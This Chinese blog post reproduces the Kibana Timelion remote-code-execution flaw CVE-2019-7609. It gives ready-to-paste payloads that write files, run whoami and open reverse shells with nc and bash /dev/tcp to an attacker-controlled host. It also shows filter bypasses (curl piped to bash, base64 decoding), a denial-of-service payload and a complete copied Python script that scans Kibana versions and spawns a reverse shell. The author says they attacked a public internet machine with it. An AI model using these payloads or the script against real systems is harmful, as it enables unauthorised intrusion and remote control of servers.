Snowming04's Blog
一颗红❤
Toggle navigation
Snowming04's Blog
主页
Cobalt Strike
Accelerated C++
区块链安全
友链
关于我
常用工具
代码积累
归档
标签
CVE-2019-7609:kibana 代码执行漏洞复现
? Kibana ?
? RCE ?
2020-01-10 17:22:18
1963
0
0
snowming
? Kibana ?
? RCE ?
 # 环境搭建: `注意:`环境不能搭建在 Windows 平台,不然以后会报错,因为 Windows 环境缺少 `/proc/self/environ` 这个组件。 - node-v8.14.0 (版本过高不行) - Kali Linux elasticsearch-6.5.4-linux-x86_64 - kibana-6.5.4-linux-x86_64 `注意:` elasticsearch 和 kibana 的版本必须是对应的。 docker + 脚本搭建漏洞环境: ``` sysctl -w vm.max_map_count=262144 docker pull elasticsearch:6.5.4 docker run -d --name es -p 9200:9200 -p 5601:5601 -p 9300:9300 elasticsearch:6.5.4 docker exec -it es /bin/bash # 在此 docker 中搭建启动 kibana yum -y update curl -sL https://rpm.nodesource.com/setup_8.x | bash - && yum install nodejs -y && wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.4-linux-x86_64.tar.gz && tar -zvxf kibana-6.5.4-linux-x86_64.tar.gz && mv kibana-6.5.4-linux-x86_64 kibana echo 'server.host: "0.0.0.0"' > /usr/share/elasticsearch/kibana/config/kibana.yml /usr/share/elasticsearch/kibana/bin/kibana ``` 或者: 先启动 elasticsearch,elasticsearch 的默认端口为 9200(注意 elasticsearch 只能在普通用户身份下启动):  然后启动 kibana,elasticsearch 的默认端口为 5601:  # 漏洞复现: 点击Timelion,在下面的框内输入执行写入文件命令的 POC,点击运行按钮:  ## 写入文件 POC 内容: ``` shell .es().props(label.__proto__.env.AAAA='require("child_process").exec("touch /tmp/test.txt");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` `注:`此 POC 尝试向 /tmp 文件夹写入 test.txt 文件。 运行之后点击左侧导航栏 Canvas 按钮:  然后查看tmp文件夹,发现 test.txt 文件已被写入:  尝试把 `whoami` 的内容写入文件(注意,第一次执行命令的时候,在运行timelion 框内的poc之后需要点击 Canvas,但是后面再执行命令的时候,都无需再点击 Canvas,直接运行 timelion 框内的poc即可被执行): ## 输出 whoami 结果 POC: ``` shell .es().props(label.__proto__.env.AAAA='require("child_process").exec("whoami > /tmp/mmm.txt");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` 检查写入位置发现写入成功:  尝试通过 nc 反弹shell: ## nc 反弹 shell POC: ``` shell .es().props(label.__proto__.env.AAAA='require("child_process").exec("nc -e /bin/bash 144.*.*.70 7770");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` 被我控制的公网 vps 成功接收到反弹shell:  尝试执行命令,发现可正常使用:  # 总结: 1、 触发的方法很简单 就把 POC 粘贴在 `timelion` 里 然后运行下,然后你再点击左边的 `Canvas` 就成功了。 2、 公网上机器十台有九台版本高于 6.6.0,查看方法:   # 一个问题的探究: [kibana < 6.6.0 代码执行漏洞](https://mp.weixin.qq.com/s?__biz=MzU4NDY3MTk2NQ==&mid=2247483794&idx=1&sn=b6b89c76bcef4c4ae00c7825eae65911&chksm=fd977620cae0ff369a77f35c00f716633bc11f46a2d69cffc124aee0e887d1bdb28dafd7092e&mpshare=1&scene=1&srcid=10173D4neJGkMFAzZKFUY3Hq&sharer_sharetime=1571379758140&sharer_shareid=3674d5df50965fb924ba35f64042cb57&key=082e6c85f2c47b1f03b0117bea5ecb45ad6ce60a71d552945cfdb69f7bd1332627be1e0c0ac86ae603973bf27ed50c33f44bd9d69a349a9d1774980ba97940ecdd1d9f170f8d6293bf0008e4867a7ca9&ascene=1&uin=MTMyNzEzMTk2NQ%3D%3D&devicetype=Windows+10&version=6207014a&lang=zh_CN&pass_ticket=2e0979dZaaW4sERvwfwMbQ5WAC7qGCpHgYP6fNjJ9%2Bo7%2BGEcjuBDNexgMNH%2F%2F4lD) 这篇文章里面给的 poc(使用 bash 反弹 shell)很多人执行不了,这是为什么呢? ``` shell .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` ## 文件位置 一个猜想是:可能是因为 `/dev/tcp` 这个位置不是每个 Linux 环境都有。标准 tcp 套接字文件,每个 linux 都有,只是不同发行版,放的位置可能不太一样。可能某些 linux 系统刚好不是这个位置、所以不行。不行的情况下可以尝试用 nc 或者 python 去反弹 shell。 ## 特殊字符传递 另一个原因可能是因为特殊字符传递的问题。 观察一下 nc 反弹 shell 的命令: ``` shell nc -e /bin/bash 144.*.*.70 7770 ``` 和 bash 反弹 shell 命令的区别: ``` shell bash -i >& /dev/tcp/192.168.0.136/12345 0>&1 ``` 可以观察到: bash 反弹 shell 命令中多了一些特殊字符,比如 `&` 和 `>`。 在进行此命令执行的时候,要通过 web 服务器发包。web 服务器都有一些特殊字符过滤功能。比如:get方式的http请求,&符号是特殊字符。 可能是我们发包的时候 `&`等符号被识别为特殊字符,过滤掉了。 我之前thinkphp命令执行弹shell,直接使用bash是弹不出来的,但是命令行bash能弹出来。这个可能就是web服务器进行了过滤。 如果要验证是不是被web服务器特殊字符过滤使得poc不完整,可以通过如下 payload 进行验证: ``` .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("echo 'bash -i >& /dev/tcp/192.168.0.136/12345 0>&1' > /tmp/aaa.txt");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` 把此命令通过echo写入/tmp/aaa.txt,然后查看aaa.txt跟原反弹shell命令进行对比,就知道哪个字符被过滤掉了。 但是理想很丰满,现实很骨感。通过此 payload 在 Kibana 上进行测试,报错了:  通过报错中的 `max` 关键字我觉得可能是payload超过了长度限制,所以我们甚至可以提取反弹shell命令中的一些特殊字符单独验证,反正我们也只是想看看过滤情况。payload 举例: ``` .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("echo 'b >& /dev/ 0>&1' > /tmp/aaa.txt");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` 但是因为我怕 Kibana,我不能经历再次失败的打击,我没有去验证真实的过滤情况。 ## Bypass web 层特殊字符过滤: **方法一:curl http://ip/x.txt | bash ** 先在自己的公网 VPS 搭建简单的 web 服务,在上面放一个文件用于写入命令,比如:  然后通过 curl 此文件管道到 bash 就能查看命令执行的结果:  **方法二:base64 -d** 使用 `base64 -d` 也可以绕过特殊字符过滤:  # Bonus DoS POC: ``` shell .es(*).props(label.__proto__.x='ABC') ``` # 注: 一些人问为什么打开一个 Kibana 没有 Canvas,因为在 Kibana 的一些较低版本里面,默认是没有 Canvas 这个插件(Plugin)的。要通过修改 Kibana 的 config 目录下的那个 yml 文件开启此插件。但是一些较高版本,是默认开启了此插件的,搭好了直接就有。所以还是版本差异的问题。 那没有这个 Canvas 能不能打呢?当然不能啊。因为此 RCE 漏洞的原理就是开启 Canvas 子进程。 然后此 RCE 漏洞的话我找了一个公网机器打了一次,反弹 shell 快速稳定,问题不大。 # 自动化攻击脚本 ``` #!/usr/bin/env python2 # coding:utf-8 # Build By LandGrey import re import sys import time import random import argparse import requests import traceback from distutils.version import StrictVersion def get_kibana_version(url): headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', } url = "{}{}".format(url.rstrip("/"), "/app/kibana") r = requests.get(url, verify=False, headers=headers, timeout=30) patterns = ['"version":"(.*?)",', '"version":"(.*?)",'] for pattern in patterns: match = re.findall(pattern, r.content) if match: return match[0] return '9.9.9' def version_compare(standard_version, compare_version): try: sc1 = StrictVersion(standard_version[0]) sc2 = StrictVersion(standard_version[1]) cc = StrictVersion(compare_version) except ValueError: print("[-] ERROR : kibana version compare failed !") return False if sc1 > cc or (StrictVersion("6.0.0") <= cc and sc2 > cc): return True return False def verify(url): global version if not version or not version_compare(["5.6.15", "6.6.1"], version): return False headers = { 'Content-Type': 'application/json;charset=utf-8', 'Referer': url, 'kbn-version': version, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', } data = '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}' url = "{}{}".format(url.rstrip("/"), "/api/timelion/run") r = requests.post(url, data=data, verify=False, headers=headers, timeout=20) if r.status_code == 200 and 'application/json' in r.headers.get('content-type', '') and '"seriesList"' in r.content: return True else: return False def reverse_shell(target, ip, port): random_name = "".join(random.sample('qwertyuiopasdfghjkl', 8)) headers = { 'Content-Type': 'application/json;charset=utf-8', 'kbn-version': version, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', } data = r'''{"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"if [ ! -f /tmp/%s ];then touch /tmp/%s && /bin/bash -c \\'/bin/bash -i >& /dev/tcp/%s/%s 0>&1\\'; fi\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"10s","timezone":"Asia/Shanghai"}}''' % (random_name, random_name, ip, port) url = "{}{}".format(target, "/api/timelion/run") r1 = requests.post(url, data=data, verify=False, headers=headers, timeout=20) if r1.status_code == 200: trigger_url = "{}{}".format(target, "/socket.io/?EIO=3&transport=polling&t=MtjhZoM") new_headers = headers new_headers.update({'kbn-xsrf': 'professionally-crafted-string-of-text'}) r2 = requests.get(trigger_url, verify=False, headers=new_headers, timeout=20) if r2.status_code == 200: time.sleep(5) return True return False if __name__ == "__main__": start = time.time() parser = argparse.ArgumentParser() parser.add_argument("-u", dest='url', default="http://127.0.0.1:5601", type=str, help='such as: http://127.0.0.1:5601') parser.add_argument("-host", dest='remote_host', default="127.0.0.1", type=str, help='reverse shell remote host: such as: 1.1.1.1') parser.add_argument("-port", dest='remote_port', default="8888", type=str, help='reverse shell remote port: such as: 8888') parser.add_argument('--shell', dest='reverse_shell', default='', action="store_true", help='reverse shell after verify') if len(sys.argv) == 1: sys.argv.append('-h') args = parser.parse_args() target = args.url remote_host = args.remote_host remote_port = args.remote_port is_reverse_shell = args.reverse_shell target = target.rstrip('/') if "://" not in target: target = "http://" + target try: version = get_kibana_version(target) result = verify(target) if result: print("[+] {} maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability".format(target)) if is_reverse_shell: result = reverse_shell(target, remote_host, remote_port) if result: print("[+] reverse shell completely! please check session on: {}:{}".format(remote_host, remote_port)) else: print("[-] cannot reverse shell") else: print("[-] {} do not exists CVE-2019-7609 vulnerability".format(target)) except Exception as e: print("[-] cannot exploit!") print("[-] Error on: \n") traceback.print_exc() ``` 项目地址:[LandGrey/CVE-2019-7609](https://github.com/LandGrey/CVE-2019-7609/blob/master/CVE-2019-7609-kibana-rce.py) ---------------- # 参考链接: 1. [Kibana 原型链污染导致任意代码执行漏洞 (CVE-2019-7609)](https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2019-7609/README.zh-cn.md),vulhub 2. [[漏洞预警] kibana < 6.6.0 代码执行漏洞](https://mp.weixin.qq.com/s?__biz=MzU4NDY3MTk2NQ==&mid=2247483794&idx=1&sn=b6b89c76bcef4c4ae00c7825eae65911&chksm=fd977620cae0ff369a77f35c00f716633bc11f46a2d69cffc124aee0e887d1bdb28dafd7092e&mpshare=1&scene=1&srcid=10173D4neJGkMFAzZKFUY3Hq&sharer_sharetime=1571379758140&sharer_shareid=3674d5df50965fb924ba35f64042cb57&key=082e6c85f2c47b1f03b0117bea5ecb45ad6ce60a71d552945cfdb69f7bd1332627be1e0c0ac86ae603973bf27ed50c33f44bd9d69a349a9d1774980ba97940ecdd1d9f170f8d6293bf0008e4867a7ca9&ascene=1&uin=MTMyNzEzMTk2NQ%3D%3D&devicetype=Windows+10&version=6207014a&lang=zh_CN&pass_ticket=2e0979dZaaW4sERvwfwMbQ5WAC7qGCpHgYP6fNjJ9%2Bo7%2BGEcjuBDNexgMNH%2F%2F4lD),微信公众号,聚源信息安全实验室,2019年10月17日 2. 【原理解析】[Kibana RCE 漏洞简单分析](https://mp.weixin.qq.com/s?__biz=MzA4NzA5OTYzNw==&mid=2247483755&idx=1&sn=cd8cdf04736f510e477aa8ac0066b069&chksm=903fd0f1a74859e7f2e7d05719187bf227b811bf79dac9da77d7c7d4cce009dee21eb47ac72f&mpshare=1&scene=1&srcid=&sharer_sharetime=1571382764419&sharer_shareid=3674d5df50965fb924ba35f64042cb57&key=4c94e82ad7962c051b00edc8abd8b39b319662f9abf14f42968c667c087581d3fdf34e5743ce92156c4a14626af5824d1e5de1d75c9846bd4fa0ba9773686511820d0418c6749aea3403648de1ed7782&ascene=1&uin=MTMyNzEzMTk2NQ%3D%3D&devicetype=Windows+10&version=6207014a&lang=zh_CN&pass_ticket=2e0979dZaaW4sERvwfwMbQ5WAC7qGCpHgYP6fNjJ9%2Bo7%2BGEcjuBDNexgMNH%2F%2F4lD),微信公众号,xsser 的博客,2019年10月17日 3. [Linux安装最新版Node.js](https://www.cnblogs.com/sirdong/p/11447739.html),董先生的博客园 ,dongsir,2019年9月2日 4. [反弹Shell小结](https://www.cnblogs.com/zhuxr/p/9854230.html),博客园,竹小冉,2018年10月26日 5. [如何在ubuntu中安装Elasticsearch](https://blog.csdn.net/qq_38660394/article/details/81028100),CSDN,VignyMy,2018年7月13日 6. [Linux安装Kibana](https://blog.csdn.net/aaaa5460/article/details/82655684),CSDN,梦醒后的冷漠,2018年9月12日 7. 【原理解析】[Kibana漏洞之javascript原型链污染又文件包含漏洞的非常详细的分析的黑客教程](https://mp.weixin.qq.com/s?__biz=MzA4NzA5OTYzNw==&mid=2247483761&idx=1&sn=a366c51bd57b4fead862d11616a10b19&chksm=903fd0eba74859fd6ba296e29bf600a1004eeed72de3fb433c74d47654ce37a435e6d1e2742c&mpshare=1&scene=1&srcid=&sharer_sharetime=1571588210071&sharer_shareid=3674d5df50965fb924ba35f64042cb57&key=a2eb8c0b2340b20d3581c0a15949a693ac0879f7879b201f3878bc1f796bf6e8225380e8c186fbea7a3f5abb3c67841d7f71500c9619d916c3ced85f20b5d9cefdb3980e259d7e0c59132aada59c4132&ascene=1&uin=MTMyNzEzMTk2NQ%3D%3D&devicetype=Windows+10&version=62070152&lang=zh_CN&pass_ticket=866ICVsXH4EG%2FSMhWF45HLNA4E5jKkn%2Fh4V6bsGMzepRRdEW4YsHhfvV84kkAfIA),微信公众号,xsser 的博客,2019年10月21日
上一篇:
LaZagne —— 一键抓取目标机器上的所有明文密码
下一篇:
PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】
0
赞
1963 人读过
新浪微博
微信
腾讯微博
QQ空间
人人网
提交评论
立即登录
, 发表评论.
没有帐号?
立即注册
0
条评论
More...
文档导航
没有帐号? 立即注册